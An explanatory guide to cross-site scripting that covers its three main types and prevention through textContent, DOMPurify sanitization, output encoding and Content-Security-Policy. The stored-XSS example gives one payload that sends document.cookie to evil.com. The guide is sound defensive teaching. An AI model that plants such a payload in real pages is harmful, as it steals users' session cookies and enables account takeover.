Cross-site scripting (XSS): how it works and how to prevent it
reflected XSS, stored XSS, DOM-based XSS, HTML encoding, Content-Security-Policy, sanitization, innerHTML vs textContent, script injection
XSS: Script Injection Attacks
XSS (Cross-Site Scripting) is the most common web vulnerability. An attacker injects JavaScript into your page, which executes in other users' browsers with full access to cookies, localStorage, and the DOM.
Types of XSS
Stored XSS: Malicious script saved to a database and rendered to all users who view that content. Highest impact and hardest to detect quickly. Example: a comment field accepting <script>fetch('https://evil.com?c='+document.cookie)</script>.
Reflected XSS: Script embedded in the URL, reflected immediately in the response. Requires tricking a user into clicking a crafted link — delivered via phishing emails or malicious links.
DOM-based XSS: Script injected via JavaScript into the DOM without a server round-trip. Commonly caused by element.innerHTML = location.hash or reading URL parameters into the DOM unsanitized.
Prevention
// WRONG — parses and executes script content
element.innerHTML = userInput;
// CORRECT — renders as literal text, never executes
element.textContent = userInput;
// Sanitize when HTML must be allowed (use DOMPurify)
element.innerHTML = DOMPurify.sanitize(userInput);Encode output at the point of rendering, not at the point of input. Context matters: HTML encoding differs from JavaScript encoding and URL encoding. A Content-Security-Policy header adds a second layer — even if injection occurs, inline scripts are blocked by the browser before execution.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com